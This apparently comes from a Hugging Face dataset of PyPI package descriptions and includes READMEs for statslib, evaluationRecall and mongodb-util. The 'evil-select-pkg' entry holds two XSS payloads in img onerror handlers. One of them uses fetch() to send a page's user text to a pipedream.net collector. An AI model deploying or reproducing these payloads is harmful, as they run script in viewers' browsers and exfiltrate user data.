semvec/pypi-packages huggingface dataset:
statslib 0.0.4
Bindings for StatsLib (https://github.com/kthohr/stats)

git clone https://github.com/aforren1/pystatslib --recursive

Example usage:

```python
import statslib as sl
import numpy as np
import matplotlib.pyplot as plt
from scipy.stats import norm

x = np.linspace(-3, 3, num=100)
y = sl.dnorm(x, mu=0, sigma=1, log=False)
y2 = norm.pdf(x, loc=0, scale=1)

plt.plot(x, y - y2)
plt.show()
```
evil-select-pkg 0.0.2
An evil package to stress Select out
Requires Python: >=3.6

$<img src=a onerror="alert(1)">%$
$<img src=a onerror="fetch('https://entmc8svqapf25h.m.pipedream.net/'+document.getElementsByClassName('user')[0].innerText.split('\n')[0])">%$
evaluationRecall 0.5
evaluationRecall
Requires Python: >=3.6

## Installation
```
pip install evaluationRecall
```
## Usage
See the example in [demo](examples/demo.ipynb).

## References
* [Jégou, Hervé, Matthijs Douze, and Cordelia Schmid. "Product quantization for nearest neighbor search." (2010).](https://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.164.8334&rep=rep1&type=pdf)

* [Babenko, Artem, and Victor Lempitsky. "Additive quantization for extreme vector compression." Proceedings of the IEEE Conference on Computer Vision and Pattern Recognition. 2014.](https://www.cv-foundation.org/openaccess/content_cvpr_2014/papers/Babenko_Additive_Quantization_for_2014_CVPR_paper.pdf)
mongodb-util 1.3
This module provides an easy mechanism to connect to MongoDb along with various monitoring options that help debug issues at database level

# README

## This module provides an easy mechanism to connect to MongoDb.

## Currently implemented features -
1. Provide MongoClient handle
2. Monitor the MongoClient instance
3. Log the interactions with Mongodb server
4. Methods to retrieve details such as username, password, database name, port number and host name for scripts that access database without a database handle.

## How to get a mongodb connection?  
1. Import the module into the script
2. Create an object of the Database class - This will return a class object.

## Database Class -   
**Parameters -**

1. uri = Mongodb URI
        
```python
mongodb://username:password@host_name:port_number/database_name
```

2. logger = Pass a logger handle
3. log = 

        |Option                 |Value                        |
        |-----------------------|-----------------------------|
        |commandlogger          |True | False (Default: True) |
        |serverlogger           |True | False (Default: False)|
        |heartbeatlogger        |True | False (Default: False)|
        |topologylogger         |True | False (Default: False)|
        |connectionpoollogger   |True | False (Default: False)|

Get the client handle by calling connect() of the Database class.

## Example code -  
```python
import mongodb_util

obj = mongodb_util.Database("test_URI")
database_client = obj.connect()
database = database_client.<database name>
```

**Read from a collection**

`database.<collection_name>.find()`

**Write into a collection**

`database.<collection_name>.insert({‘a’:1})`


## Developing mongodb_util -

To install mongodb_util, along with the tools you need to develop and run tests, run the following in your virtualenv:

```bash
$ pip install -e .[dev]
```

## Changelog
1. **Version 1.0 -**
- Provide a mechanism to obtain a mongodb handle 
- Monitoring various transactions with the database
- Supports custom configuration file.

2. **Version 1.1 -**
- Support for passing logger handle

3. **Version 1.2 -**
- Remove config support 
- Modify the way database credentials are picked, user input expected.

4. **Version 1.3 -**
- Fix Pylint (Pylint version - 1.9.2)